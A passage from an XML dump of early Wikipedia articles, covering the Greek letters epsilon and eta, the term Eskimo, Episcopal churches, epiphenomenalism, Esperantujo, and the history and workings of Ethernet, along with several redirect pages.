* In Greek it is used for [[Epsilon Team]].


__NOTOC__
[[Category:Greek letters]]

[[als:Ε]]
[[ca:Èpsilon]]
[[da:Epsilon]]
[[de:Epsilon]]
[[el:Έψιλον]]
[[es:Ε]]
[[fr:Epsilon]]
[[ga:Eipsealón]]
[[gl:Epsilon]]
[[ko:Ε]]
[[he:אפסילון]]
[[nl:Epsilon]]
[[ja:Ε]]
[[no:Epsilon]]
[[nn:Epsilon]]
[[pl:Epsilon]]
[[pt:Ε]]
[[ru:Эпсилон (буква)]]
[[sl:Epsilon]]
[[fi:Epsilon]]
[[sv:Epsilon]]
[[zh:Ε]]</text>
    </revision>
  </page>
  <page>
    <title>Eta (letter)</title>
    <id>9488</id>
    <revision>
      <id>36389869</id>
      <timestamp>2006-01-23T19:06:56Z</timestamp>
      <contributor>
        <username>Ανδρέας</username>
        <id>469010</id>
      </contributor>
      <comment>/* Pronunciation */ copy edit</comment>
      <text xml:space="preserve">{{Table Greekletters|letter=eta}}
:''For other uses, see [[Eta]].''

'''Eta''' (upper case Η, lower case η) is the seventh letter of the [[Greek alphabet]]. In the system of [[Greek numerals]] it has a value of 8. 

==Pronunciation==
In [[Modern Greek]] letter is pronounced [[Close front unrounded vowel|{{IPA|[i]}}]]. In the Classical version of the [[Ancient Greek]] language, it was pronounced as a long {{IPA|[[Open-mid front unrounded vowel|open-mid front unrounded vowel, [&amp;#603;&amp;#720;]]}}]. The symbol was initially used to denote the [[rough breathing]], [[Voiceless glottal fricative|{{IPA|[h]}}]]. In the [[Ionic dialect]], where this sound had disappeared by the sixth century BC, the letter was used to represent the long [{{IPA|&amp;#603;&amp;#720;}}].  When the Ionic alphabet was adopted in [[Athens]] in [[403 BC]], [{{IPA|&amp;#603;&amp;#720;}}] (previously written as Ε) was also written as Η there too, hence the modern usage.

==Symbol==

Eta is sometimes used in place of [[eng]] (ŋ) when eng is not available, because of their similar appearance.

The upper-case letter Η is used as a symbol for:
*In [[textual criticism]], the [[Alexandrian text-type]] (from ''Hesychius'', its once-supposed editor).
*In [[chemistry]], [[enthalpy]].

The lower-case letter η is used as a symbol for:
* In [[thermodynamics]], the efficiency of a [[Carnot heat engine]].
* In [[chemistry]], the number of [[electron]]s shared between a [[metal]] center and a ligand in a [[coordination compound]].  For example, an [[allyl group]] can coordinate to [[palladium]] in the η¹ mode or the η³ mode.
*In [[optics]], the [[refractive index]] of an optical medium (although the letter ''n'' is more common).
*In [[particle physics]], to represent the η [[baryon]]s.
* In [[statistics]], ''η''&lt;sup&gt;2&lt;/sup&gt; is the &quot;partial regression coefficient&quot;.
* In [[astronomy]], the seventh brightest (usually) star in a [[constellation]].  ''See'' [[Bayer designation]].
* In [[experimental particle physics]], η stands for [[pseudorapidity]].
* In mathematics, η-conversion, see [[lambda calculus#η-conversion |lambda calculus]]
* In [[fluid dynamics]], η stands for [[viscosity]].

[[Category:Greek letters]]

[[als:Η]]
[[ca:Eta]]
[[da:Eta]]
[[de:Eta]]
[[el:Ήτα]]
[[es:Η]]
[[fr:Êta]]
[[ga:Éite]]
[[he:אטא]]
[[ko:Η]]
[[nl:Èta]]
[[ja:Η]]
[[no:Eta (bokstav)]]
[[pl:Eta]]
[[pt:Η]]
[[fi:Eeta]]
[[sv:Eta]]
[[zh:Η]]</text>
    </revision>
  </page>
  <page>
    <title>Eric Arthur Blair</title>
    <id>9489</id>
    <revision>
      <id>15907378</id>
      <timestamp>2002-03-26T12:52:55Z</timestamp>
      <contributor>
        <ip>213.253.40.87</ip>
      </contributor>
      <comment>#REDIRECT [[George Orwell]]</comment>
      <text xml:space="preserve">#REDIRECT [[George Orwell]]
</text>
    </revision>
  </page>
  <page>
    <title>Environmental organization</title>
    <id>9490</id>
    <revision>
      <id>15907379</id>
      <timestamp>2003-11-23T05:25:57Z</timestamp>
      <contributor>
        <username>DavidLevinson</username>
        <id>1689</id>
      </contributor>
      <comment>#REDIRECT [[List of environmental organizations]] (merge)</comment>
      <text xml:space="preserve">#REDIRECT [[List of environmental organizations]]</text>
    </revision>
  </page>
  <page>
    <title>Eskimo</title>
    <id>9491</id>
    <revision>
      <id>42163608</id>
      <timestamp>2006-03-04T06:07:47Z</timestamp>
      <contributor>
        <username>Interiot</username>
        <id>122679</id>
      </contributor>
      <comment>cleaned up image</comment>
      <text xml:space="preserve">{{Otheruses4|the Eskimo people|the album by [[The Residents]]|Eskimo (album)}}

[[Image:Eskimo Family NGM-v31-p564-2.jpg|right|300px]]

'''Eskimos''', or '''Esquimaux''', are terms used to refer to [[people]] who inhabit the [[circumpolar]] region (excluding [[Scandinavia]] and most of [[Russia]], but including the easternmost portions of Siberia). There are two main groups of Eskimos: the [[Inuit]] (in northern [[Alaska]], [[Canada]] and [[Greenland]]) and the [[Yupik]] (of western Alaska and the Russian Far East). 

The Eskimos are related to the [[Aleut]]s and the [[Alutiiq]] from the [[Aleutian Islands]] in Alaska as well as the Sug'piak from the [[Kodiak Island]]s and as far as the [[Prince William Sound]] in southcentral Alaska.

Eastern Eskimo people - the Inuit - speak [[Inuktitut]], and western Alaskan Eskimo communities - the Yup'ik - speak [[Yupik language|Yup'ik]]. There is something of a [[dialect continuum]] between the two, and the westernmost [[dialect]]s of Inuktitut could be viewed as forms of Yup'ik. [[Kinship]] culture also differs between east and west, as eastern Inuit lived with [[cousin]]s of both parents, but western Inuit lived in [[paternal kinship]] groups.

== Use and origin of the term ==

The term &quot;Eskimo&quot; is an [[exonym]] that is not generally used by Eskimos themselves. The term &quot;Inuit&quot; is sometimes used instead, but it does not properly include the Yupik.

Some [[Algonquian language]]s call Eskimos by names that mean &quot;eaters of raw meat&quot; or something that sounds similar. The [[Plains Ojibwe]], for example, use the word ''êškipot'' (&quot;one who eats raw,&quot; from ''ašk-'', &quot;raw,&quot; and ''-po-'', &quot;to eat&quot;) to refer to Eskimos. But in the period of the earliest attested French use of the word, the Plains Ojibwe were not in contact with Europeans, nor did they have very much direct contact with the Inuit in pre-colonial times. It is entirely possible that the Ojibwe have adopted words resembling &quot;Eskimo&quot; by borrowing them from French, and the French word merely ''sounds'' like Ojibwe words that can be interpreted as &quot;eaters of raw meat&quot;. Furthermore, since Cree people also traditionally consumed raw meat, a pejorative significance based on this etymology seems unlikely.

The [[Montagnais language]], a dialect of [[Cree language|Cree]] which was known to French traders at the time of the earliest attestation of ''esquimaux'', does not have vocabulary fitting this etymological analysis. A variety of competing etymologies have been proposed over the years, but the most likely source is the Montagnais word meaning &quot;snowshoe-netter&quot;. Since Montagnais speakers refer to the neighbouring [[Mi'kmaq]] people using words that sound very much like ''eskimo'', many researchers have concluded that this is the more likely origin of the word. (Mailhot, J. ''L'étymologie de «Esquimau» revue et corrigée'' Etudes Inuit/Inuit Studies 2-2:59-70 ''1978''; Goddard 1984 in Campbell 1997.)   

The term &quot;Eskimo&quot; is still used in Alaska to refer to the state's Arctic peoples in general, whether or not they are Eskimos culturally or linguistically. For example, while some [[Yupik]] people prefer to be called &quot;Yup'ik&quot;, they do not generally object to being called &quot;Eskimo&quot;, but they do not consider themselves &quot;Inuit&quot;. [http://www.uaf.edu/anlc/inuitoreskimo.html]

Among many non-Eskimos, the word &quot;Eskimo&quot; is falling out of use to refer to the Eskimo peoples in favor of the term &quot;Inuit&quot;, which leads to much confusion as to the relationship between the Inuit and the Yup'ik. Much of the impetus behind this change probably traces to the books of [[Farley Mowat]], particularly ''[[People of the Deer]]'' and ''[[The Desperate People]]''. However, in Canada at least, a belief in the pejorative etymology of the word and the rejection of the term by the Inuit peoples were a major factor.

The term &quot;Eskimos&quot; is now used by some to refer to rugged and brave individuals who are able to deal with [[Subarctic climate|cold]] and ice even if they are not natives of the far North. For example, the [[Cambridge Eskimos]], established in the [[1930s]] and still active, are an [[ice hockey]] team based at the [[University of Cambridge]] in [[Great Britain|Britain]]. In somewhat the same vein, the [[Canadian Football League]]'s [[Edmonton, Alberta|Edmonton]] team is called the [[Edmonton Eskimos|Eskimos]].

==See also==
* [[Aleut]]
* [[Athabaskan]]
* [[Chukchi]]
* [[Nenets]]
* [[Sami people]]
* [[Yupik]]
* [[Inuit]]
* [[Inupiaq]]
* [[Eskimo kinship]]

==References==

*Campbell, Lyle (1997). ''American Indian Languages: The Historical Linguistics of Native America'', pg. 394. New York: Oxford University Press.
*Goddard, Ives (1984). &quot;Synonymy.&quot; In ''Arctic'', ed. David Damas. Vol. 5 of ''Handbook of North American Indians'', ed. William C. Sturtevant, pp. 5-7. Washington, D.C.: Smithsonian Institution. Cited in Campbell 1997.

==External links==
*[http://www.allthingsarctic.com/people/index.aspx Indigenous Arctic People]
*[http://www.eki.ee/books/redbook/asiatic_eskimos.shtml the Asiatic (Siberian) Eskimos]
*[http://www.beginband.com/akstudies/ Eskimo Music]
*[http://www.esquimaux.net Esquimaux the Band]
*[http://alt-usage-english.org/excerpts/fxeskimo.html Origin of the word &quot;Eskimo&quot;]
*[http://www.bartleby.com/61/24/E0212400.html American Heritage Dictionary: Eskimo]

[[Category:Indigenous peoples of North America]]
[[Category:Ethnic groups in Russia]]

[[de:Eskimo]]
[[fr:Eskimo]]
[[ko:에스키모]]
[[ja:エスキモー]]
[[fi:Eskimot]]
[[tr:Eskimo]]</text>
    </revision>
  </page>
  <page>
    <title>Episcopal churches</title>
    <id>9494</id>
    <revision>
      <id>28819975</id>
      <timestamp>2005-11-20T09:47:08Z</timestamp>
      <contributor>
        <username>David Kernow</username>
        <id>445578</id>
      </contributor>
      <minor />
      <comment>layout</comment>
      <text xml:space="preserve">'''''Episcopal churches''''' are [[Religious denomination|church]]es in [[full communion]] with the [[Church of England]]. These include:

* [[Episcopal Church in the United States of America]] (often abbreviated as &quot;Episcopal Church&quot;)
* [[Scottish Episcopal Church]]
* [[Episcopal Church in Jerusalem and the Middle East]] 
* [[Episcopal Church of Cuba]]
* [[Episcopal Church of the Sudan]]
* [[Spanish Reformed Episcopal Church]]


===The description &quot;episcopal church&quot;===
For an account of the description ''episcopal church'', see [[Episcopal]]. The [[Roman Catholic Church]], the [[Eastern Orthodox Church]] and the [[Oriental Orthodoxy|Oriental Orthodox Church]] are all described as episcopal churches.


[[Category:Anglican churches]]

[[ca:Església Episcopal]]</text>
    </revision>
  </page>
  <page>
    <title>EU</title>
    <id>9495</id>
    <revision>
      <id>27486354</id>
      <timestamp>2005-11-06T00:09:19Z</timestamp>
      <contributor>
        <username>Zntrip</username>
        <id>154881</id>
      </contributor>
      <minor />
      <comment>Sorry I scred up, I thought it was Wiktionary :</comment>
      <text xml:space="preserve">#REDIRECT [[European Union]]</text>
    </revision>
  </page>
  <page>
    <title>Epiphenomenalism</title>
    <id>9496</id>
    <revision>
      <id>38172253</id>
      <timestamp>2006-02-04T18:19:12Z</timestamp>
      <contributor>
        <ip>67.38.250.81</ip>
      </contributor>
      <comment>/* Explanation */</comment>
      <text xml:space="preserve">'''Epiphenomenalism''' is the view in [[philosophy of mind]] according to which [[physics|physical]] events have [[mind|mental]] effects, but mental events have no effects of any kind. This is a radical idea because it denies the concept that the mind has any control over the body, or even any ability to cause an action in the world. Human experience is present, but inert.

==Explanation==
Imagine both Pierre and a robot automaton eating a candy bar. Unlike the robot, Pierre is conscious of eating the candy bar while the behavior is under way. This subjective experience is often called a ''quale'' (plural [[qualia]]), and it describes the private &quot;raw feel&quot; or the subjective &quot;[[Thomas Nagel|what-it-is-like]]&quot; that is the inner accompaniment of any observable behavior. Pierre and the robot can both be doing the same thing, but only Pierre has the inner conscious accompaniment. 

Mental events like Pierre's pleasurable experience -- or at any rate their distinctive qualia -- are just [[epiphenomenon|epiphenomena]], they are side-effects or by-products of physical processes in the [[nervous system]]. Upon appearance, Pierre might as well be a robot or a zombie, because his conscious mind does not affect his behavior. If Pierre takes a second bite, it is not caused by his pleasure at the first. The conscious accompaniments of brain activity are causally impotent. Mind-mind causation as well as mind-body causation are impossible, according to epiphenomenalism: When Pierre thinks, &quot;That was so good I will take another bite,&quot; his thought is not caused by the preceding pleasure.

A good way to think of consciousness under epiphenomanlism is the foam in a glass of beer.  Foam serves no purpose and is sort of immaterial.  It is the mere stirring and mixing of chemicals in the beer which gives rise to foam.  It dissipates soon, but there are always more bubbles on their way up.  Similarly, consciousness has no function and is the accidental result of brain activity.  Things rise to conscious experience only after they have been perceived by the brain, including the experience of decision-making, which is a deterministic event.  ''Choice'' is something the brain performs certain formulas on and ''choosing'' is the apparently &quot;magical&quot; result of that computation.  Free will is thus an illusion.

==Background==
One can be both a [[metaphysics|metaphysical]] epiphenomenalist and a methodological or scientific behaviorist. In the early 1900's [[behaviorism|scientific behaviorists]] such as [[Ivan Pavlov]], [[John B. Watson]], and [[B.F. Skinner]] began the attempt to uncover laws describing the relationship between stimuli and responses, without reference to anything inner. 
These scientific behaviorists weren't necessarily epiphenomenalists; they could have been eliminativists or functionalists, as described below. But methodological behaviorism leaves a niche for epiphenomenalism. By the 1960's, scientific behaviourism met substantial difficulties and gave rise to the [[cognitive revolution]]. Participants in that revolution such as [[Jerry Fodor]] insist upon the causal efficacy of mind. Fodor even speaks of &quot;epiphobia&quot; -- fear that one is becoming an epiphenomenalist.

==Responses from deniers of mind==
The philosophical behaviorists (as opposed to scientific behaviourists) would reject epiphenomenalism on the grounds that it is, in [[Gilbert Ryle]]'s phrase, a &quot;[[Category mistake|category mistake]].&quot;  Just as there is no Cartesian &quot;ghost in the machine&quot;, there are no ghostly events that accompany behavior in an inner theater. Consciousness belongs not to the category of objects of reference, but rather to the category of ways of doing things. To be attentive is to do things with focus and care, not for something to be happening in the ghostly theater that Ryle lampooned as a dualist dogma. 

[[Functionalism %28philosophy of mind%29|Functionalists]] chart a different course, accepting that there is a system of mental events mediating stimulus and response, but asserting that this system is &quot;topic neutral&quot; and capable of being realized in [[multiple realisability|various ways]]. The topic neutrality of the mind implies denial of epiphenomenalism, which, as a kind of property dualism, fixes consciousness as a non-neutral, non-physical topic. 

[[Eliminative materialism|Eliminative materialists]] on the other hand assert that our concept of mind aims to fix reference to a non-physical topic, so they disagree with the philosophical behaviorist analysis, as well as the functionalist analysis.  Eliminative materialism holds however that this dualistic aim of &quot;[[folk psychology]]&quot; is a fatal error built into mental concepts, no doubt partially because of the influence of Cartesian ideas on word meanings and the way we folk think about ourselves. So it would be better to eliminate the concept of mind, and concepts implicated in it such as ''desire'' and ''belief,'' in favor of an emerging neurocomputational account. (A more moderate eliminativist position would run what [[J.L. Mackie]] called an ''error theory'', stripping false beliefs away from the problematic concepts but not eliminating them, leaving intact a legitimate core of meaning.)

==Criticism==
I. The most common criticism of epiphenomenalism is that it ''feels'' like the mind has influence. For example it is possible to imagine the most bizarre body gesture with your mind and then to do it. [[William James]] urged something like this criticism against epiphenomenalism, which he named &quot;Automatism.&quot;
&lt;blockquote&gt;
 However inadequate our ideas of causal efficacy may be, we are less wide of the mark when we say that our ideas and feelings have it, than the Automatists are when they say they haven't it. As in the night all cats are gray, so in the darkness of metaphysical criticism all causes are obscure. But one has no right to pull the pall over the psychic half of the subject only, as the automatists do, and to say that that causation is unintelligible, whilst in the same breath one dogmatizes about material causation as if Hume, Kant, and Lotze had never been born. One cannot thus blow hot and cold. One must be impartially naif or impartially critical. If the latter, the reconstruction must be thorough-going or 'metaphysical,' and will probably preserve the common-sense view that ideas are forces, in some translated form. But Psychology is a mere natural science, accepting certain terms uncritically as her data, and stopping short of metaphysical reconstruction. Like physics, she must be naïve; and if she finds that in her very peculiar field of study ideas seem to be causes, she had better continue to talk of them as such. She gains absolutely nothing by a breach with common-sense in this matter, and she loses, to say the least, all naturalness of speech. [''The Principles of Psychology'', Chapter V, &quot;The Automaton Theory&quot;]
&lt;/blockquote&gt;
II. One particularly potent problem is that the presence of the theory of epiphenomenalism seems to contradict the very idea. Most people feel that ''thinking'' is a mental process, so how could someone ever express the idea of epiphenomenalism? It would be impossible, as this &quot;expressing&quot; would require the banned connection between mind and behavior. If epiphenomenalism is true, then its truth is ineffable. So in the example above, Pierre cannot ''convey'' his pleasure.

==See also==
[[Frank Jackson]] - popular ex-epiphenomenalist

==External links==
*[http://www.consciousentities.com/deadends.htm#epiphenomenalism Strange Ideas]
*[http://plato.stanford.edu/entries/epiphenomenalism/ Stanford Encyclopedia of Philosophy entry]

*[http://www.emergentmind.org/rivas-vandongen.htm Exit Epiphenomenalism - Analysis by Rivas and Van Dongen]

[[Category:Philosophy of mind]]
[[Category:philosophy]]</text>
    </revision>
  </page>
  <page>
    <title>Esperantio</title>
    <id>9497</id>
    <revision>
      <id>15907385</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Esperantujo]]
</text>
    </revision>
  </page>
  <page>
    <title>Esperantujo</title>
    <id>9498</id>
    <revision>
      <id>32704813</id>
      <timestamp>2005-12-25T20:41:52Z</timestamp>
      <contributor>
        <username>Gabbe</username>
        <id>5894</id>
      </contributor>
      <comment>rm flag; already in template</comment>
      <text xml:space="preserve">{{Esperanto}}

'''Esperantujo''', also '''Esperantio''', is a term used by speakers of the [[International auxiliary language|constructed international auxiliary language]] [[Esperanto]] to refer to the [[Esperanto culture|Esperanto community]] and the activities going on in the language. When two people are speaking Esperanto, they are said to be &quot;in&quot; ''Esperantujo''.

The word is formed analogously to country names. In Esperanto, the names of both lands and nation states were traditionally formed from the ethnic name of their inhabitants plus the suffix ''-ujo'', so for example &quot;France&quot; was ''Francujo'', from ''franco'' (a Frenchman). 

The term most analogous to ''Francujo'' would be ''Esperantistujo'' (Esperantist-land). However, that would convey the idea of the physical body of people, whereas using the name of the language as the basis of the word gives it the more abstract connotation of a cultural sphere. 

Currently, names of nation states are most often formed with the suffix ''-io'' traditionally reserved for deriving country names from geographic features, so now ''Francio'', and recently the form ''Esperantio'' has been used ''i.a.'' in the [[Pasporta Servo]].

[[Category:Esperanto culture]]

[[de:Esperantoland]]
[[eo:Esperantujo]]
[[fr:Espérantie]]
[[nl:Esperantio]]
[[ru:Эсперантида]]</text>
    </revision>
  </page>
  <page>
    <title>Ethernet</title>
    <id>9499</id>
    <revision>
      <id>42116927</id>
      <timestamp>2006-03-03T22:57:57Z</timestamp>
      <contributor>
        <username>Alecv</username>
        <id>183520</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{mergefrom|IEEE 802.3}}
{{IPstack}}
&lt;!-- Edit the stack image at: Template:IPstack --&gt;

'''Ethernet''' is  a [[Data frame|frame]]-based [[computer network|computer networking]] technology for [[local area network]]s (LANs).  The name comes from the physical concept of [[Luminiferous aether|ether]]. It defines wiring and signaling for the physical layer, and frame formats and [[Communications protocol|protocol]]s for the media access control (MAC)/[[data link layer]] of the [[OSI model]].  Ethernet is mostly standardized as [[IEEE]]s [[IEEE 802.3|802.3]].  It has become the most widespread LAN technology in use during the [[1990s]] to the [[As of 2005|present]], and has largely replaced all other LAN standards such as [[token ring]], [[Fiber distributed data interface|FDDI]], and [[ARCNET]].

== History ==
Ethernet was originally developed as one of the many pioneering projects at [[Xerox PARC]]. A common story states that Ethernet was invented in [[1973]], when [[Robert Metcalfe]] wrote a memo to his bosses at PARC about Ethernet's potential. But Metcalfe claims Ethernet was actually invented over a period of several years.  In [[1976]], Metcalfe and his assistant [[David Boggs]] published a paper titled ''[http://www.acm.org/classics/apr96/ Ethernet: Distributed Packet-Switching For Local Computer Networks].''

The experimental Ethernet described in that paper ran at 3 [[Mbps]], and had 8-bit destination and source address fields, so Ethernet addresses weren't the global addresses they are today.  By software convention, the 16 bits after the destination and source address fields were a packet type field, but, as the paper says, &quot;different protocols use disjoint sets of packet types&quot;, so those were packet types within a given protocol, rather than the packet type in current Ethernet, which specifies the protocol being used.

Metcalfe left Xerox in [[1979]] to promote the use of personal computers and local area networks (LANs), forming [[3Com]].  He convinced [[Digital Equipment Corporation|DEC]], [[Intel]], and [[Xerox]] to work together to promote Ethernet as a standard, the so-called &quot;DIX&quot; standard, for &quot;Digital/Intel/Xerox&quot;; it standardized the 10 megabits/second Ethernet, with 48-bit destination and source addresses and a global 16-bit type field.  The standard was first published on [[September 30]] [[1980]]. It competed with two largely proprietary systems, [[token ring]] and [[ARCNET]], but those soon found themselves buried under a tidal wave of Ethernet products.  In the process, [[3Com]] became a major company.

Metcalfe sometimes jokingly credits [[Jerome H. Saltzer|Jerry Saltzer]] for 3Com's success.  Saltzer cowrote an influential paper suggesting that token-ring architectures were theoretically superior to Ethernet-style technologies.  This result, the story goes, left enough doubt in the minds of computer manufacturers that they decided not to make Ethernet a standard feature, which allowed 3Com to build a business around selling add-in Ethernet [[network card]]s.  This also led to the saying &quot;Ethernet works better in practice than in theory,&quot; which, though a joke, actually makes a valid technical point: the characteristics
of typical traffic on actual networks differ from what had been expected before LANs became common in ways that favor the simple design of Ethernet.

Metcalfe and Saltzer worked on the same floor at [[Massachusetts Institute of Technology|MIT]]'s [[Project MAC]] while Metcalfe was doing his [[Harvard University|Harvard]] [[dissertation]], in which he worked out the theoretical foundations of Ethernet.

== General description ==

[[Image:Network_card.jpg|right|thumb|200px|A [[1990s]] Ethernet [[network card|network interface card]]. This is a [[combo card]] that supports both [[Coaxial cable|coaxial-based]] [[10BASE2]] ([[BNC connector]], left) and [[Twisted-pair|Twisted-pair-based]] [[10BASE-T]] ([[RJ-45|RJ-45 connector]], right).]]

Ethernet is based on the idea of peers on the network sending messages in what was essentially a radio system, captive inside a common wire or channel, sometimes referred to as the ether.  (This is an oblique reference to the [[luminiferous aether]] through which [[19th century]] physicists incorrectly theorized that [[electromagnetic radiation]] traveled.) Each peer has a unique 48-bit key known as the [[MAC address]] to ensure that all systems in an Ethernet network have distinct addresses. By default network cards come programmed with a globally unique address but this can generally be changed and there are a number of reasons for doing so.

Due to the ubiquity of Ethernet and the ever-decreasing cost of the hardware needed to support it, most manufacturers build the functionality of an Ethernet card directly into [[PC motherboard|PC motherboards]]. &lt;!--anyone know when this started happening? i'm pretty sure it happened after the PC market switched to atx and after 10base2 had pretty much disappeared--&gt;

Despite the huge changes in Ethernet from a [[10BASE5|thick coaxial cable bus]] running at 10 [[Mbps]] to point-to-point links running at 1 [[Gbps]] (''see [[gigabit ethernet]]'') and beyond, the different variants remain essentially the same from the programmer's point of view and are easily interconnected using readily available inexpensive hardware. 

It has been observed that Ethernet traffic has [[self-similarity|self-similar]] properties, with important consequences for [[Telecommunications traffic engineering|traffic engineering]].&lt;!--this really really needs sources or clarification--&gt;

== CSMA/CD shared medium Ethernet ==

A scheme known as [[carrier sense multiple access with collision detection]] (CSMA/CD) governs the way the computers share the channel. Originally developed in the [[1960s]] for the [[ALOHAnet]] in [[Hawaii]] using [[radio]], the scheme is relatively simple compared to [[Token Ring|token ring]] or master controlled networks. When one computer wants to send some information, it obeys the following [[algorithm]]:

# '''Start''' - If the wire is idle, start transmitting, else go to step 4
# '''Transmitting''' - If detecting a collision, continue transmitting until the minimum packet time is reached (to ensure that all other transmitters and receivers detect the collision) then go to step 4.
# '''End successful transmission''' - Report success to higher network layers; exit transmit mode.
# '''Wire is busy''' - Wait until wire becomes idle
# '''Wire just became idle''' - Wait a random time, then go to step 1, unless maximum number of transmission attempts has been exceeded
# '''Maximum number of transmission attempt exceeded''' - Report failure to higher network layers; exit transmit mode

This works something like a dinner party, where all the guests talk to each other through a common medium (the air).  Before speaking, each guest politely waits for the current guest to finish.  If two guests start speaking at the same time, both stop and wait for short, random periods of time.  The hope is that by each choosing a random period of time, both guests will not choose the same time to try to speak again, thus avoiding another collision.  [[exponential growth|Exponentially increasing]] back-off times (determined using the [[truncated binary exponential backoff]] algorithm) are used when there is more than one failed attempt to transmit.

Ethernet originally used a shared [[coaxial cable]] winding around a building or campus to every attached machine. Computers were connected to an [[Attachment Unit Interface]] (AUI) transceiver, which in turn connected to the cable.  While a simple passive wire was highly reliable for small Ethernets, it was not reliable for large extended networks, where damage to the wire in a single place, or a single bad connector could make the whole Ethernet segment unusable.  Coax was
also prone to very strange failure modes when an electrical discontinuity
reflected the signal in such a manner that &lt;strong&gt;some&lt;/strong&gt; nodes
would work just fine while others would work slowly due to excessive
retries or not at all; these could be &lt;strong&gt;much&lt;/strong&gt; more painful to
diagnose than a complete failure of the segment.  Debugging such failures
often involved several people crawling around wiggling connectors while
others watched the displays of computers running ''[[ping]]'' and shouted out
reports as performance changed.

Since all communications happen on the same wire, any information sent by one computer is received by all, even if that information was intended for just one destination. The network interface card filters out information not addressed to it, interrupting the CPU only when applicable packets are received unless the card is put into &quot;[[promiscuous mode]]&quot;. This &quot;one speaks, all listen&quot; property is a security weakness of shared-medium Ethernet, since a node on an Ethernet network can eavesdrop on all traffic on the wire if it so chooses.  Use of a single cable also means that the bandwidth is shared, so that network traffic can slow to a crawl when, for example, the network and nodes restart after a power failure.

== Ethernet repeaters and hubs ==

As Ethernet grew, the [[Ethernet hub]] was developed to make the network more reliable and the cables easier to connect.

For signal degradation and timing reasons, Ethernet segments have a restricted size which depends on the medium used.  For example, 10BASE5 coax cables have a maximum length of 500 [[metre]]s (1,640 [[feet (unit of length)|feet]]).  A greater length can be obtained by using an Ethernet [[repeater]], which takes the signal from one Ethernet cable and repeats it onto another cable.  Repeaters can be used to connect up to five Ethernet segments, three of which can have attached devices.  This also alleviates the problem of cable breakages: when an Ethernet coax segment breaks, all devices on that segment are unable to communicate; repeaters allowed the other segments to continue working.

Like most other high-speed buses, Ethernet segments must be terminated with a [[resistor]] at both ends.  For coaxial cable, each end of the cable must have a 50-[[ohm]] resistor and heatsink attached, called a ''terminator'' and affixed to a male N or BNC connector.  If this is not done, the result is the same as if there is a break in the cable: the [[alternating current|AC]] signal on the bus will be reflected, rather than dissipated, when it reaches the end.  This reflected signal is indistinguishable from a collision, and so no communication can take place.  A repeater electrically isolates the segments connected to it, regenerating and retiming the signal. Most repeaters have an &quot;auto-partition&quot; function, which partitions (removes from service) a segment when it has too many collisions or collisions that last too long, so that the other segments are not affected by the broken one. The repeater reconnects the segment when it detects activity without collisions.

People recognized the usefulness of cabling in a star topology, and network vendors started creating repeaters having multiple ports.  Multi-port repeaters are now known as hubs.  Hubs can be connected to other hubs and/or a coax backbone.

The first hubs were known as &quot;multiport transceivers&quot; or &quot;fanouts&quot;. The best-known example is DEC's [[DELNI]].  These devices allow multiple hosts with AUI connections to share a single transceiver.  They also allow creation of a small standalone Ethernet segment without using a coax cable.

Network vendors such as DEC and [[SynOptics]] sold hubs which connected many [[10BASE-2]] thin coaxial segments.

[[Image:RG-59.jpg|thumb|left|[[Coaxial cable]] is used to transmit 10BASE-2 Ethernet]]

The development of Ethernet on unshielded twisted-pair cables (UTP), beginning with [[StarLAN]] and continuing with [[10BASE-T]] eventually made Ethernet over coax obsolete. These variations allowed unshielded twisted-pair [[Category 3 cable|Cat-3]]/[[Category 5 cable|Cat-5]] cable and [[RJ45]] telephone connectors to connect endpoints to hubs, replacing coaxial and [[Attachment Unit Interface|AUI]] cables.  Hubs made Ethernet networks more reliable by preventing problems with one cable or device from affecting other devices on the network.  Twisted-pair Ethernet resolves the termination problem by making every segment point-to-point, so termination can be built into the hardware rather than requiring a special external resistor.

[[Image:10baseT cable.jpeg|right|thumb|125px|A [[Twisted pair]] 10BASE-T Cable is used to transmit 10BASE-T Ethernet]]

Despite the physical star topology, hubbed Ethernet networks are half-duplex and still use CSMA/CD, with only minimal cooperation from the hub in dealing with packet collisions.  Every packet is sent to every port on the hub, so bandwidth and security problems aren't addressed. The total throughput of the hub is limited to the speed of a single link, either 10 or 100 Mbit/s, minus the overhead for preambles, inter-frame gaps, headers, trailers, and padding. Collisions also reduce the total throughput, especially when the network is heavily loaded. In the worst case when there are lots of hosts with long cables that transmit many short frames, excessive collisions that seriously reduce throughput can happen with loads as low as 50%. A more typical configuration can tolerate higher loads before collisions seriously reduce throughput.

== Bridging and Switching ==

While repeaters could isolate some aspects of Ethernet segments, such as cable breakages, they still forward all traffic to all Ethernet devices.  This creates significant limits on how many machines can communicate on an Ethernet network.  To alleviate this, bridging was created to communicate at the data link layer while isolating the physical layer.  With bridging, only well-formed packets are forwarded from one Ethernet segment to another; collisions and packet errors are isolated.  Bridges learn where devices are, by watching MAC addresses, and do not forward packets across segments when they know the destination address is not located in that direction.  Control mechanisms like [[spanning-tree protocol]] enable a collection of bridges to work together in coordination.

Early bridges examined each packet one by one, and were significantly slower than hubs (repeaters) at forwarding traffic, especially when handling many ports at the same time.  In 1989 the networking company [[Kalpana (company)|Kalpana]] introduced their EtherSwitch, the first Ethernet switch.  An Ethernet switch does bridging in hardware, allowing it to forward packets at full wire speed.

Most modern Ethernet installations use [[Ethernet switch]]es instead of hubs.  Although the wiring is identical to hubbed Ethernet, switched Ethernet has several advantages over shared medium Ethernet including greater bandwidth and better isolation from misbehaving devices. Switched networks typically have a [[star topology]], even though they may still implement a single Ethernet shared medium from the viewpoint of attached machines, if they use the half-duplex option. Full-duplex Ethernet in the [[10BASE-T]] and later standards is not a shared-medium system.

Initially, Ethernet switches work like Ethernet hubs, with all traffic being echoed to all ports. However, as the switch &quot;learns&quot; the end-points associated with each port, it ceases to send non-[[broadcasting (networks)|broadcast]] traffic to ports other than the intended destination. In this way, Ethernet switching can allow the full wire speed of Ethernet to be used by any given pair of ports on a single switch.

Since packets are typically only delivered to the port they are intended for, traffic on a switched Ethernet is slightly less public than on shared-medium Ethernet.  Despite this, switched Ethernet should still be regarded as an insecure network technology, because it is easy to subvert switched Ethernet systems by means such as [[ARP spoofing]] and [[MAC flooding]], as well as for network administrators to use monitoring functions to copy traffic from the network.

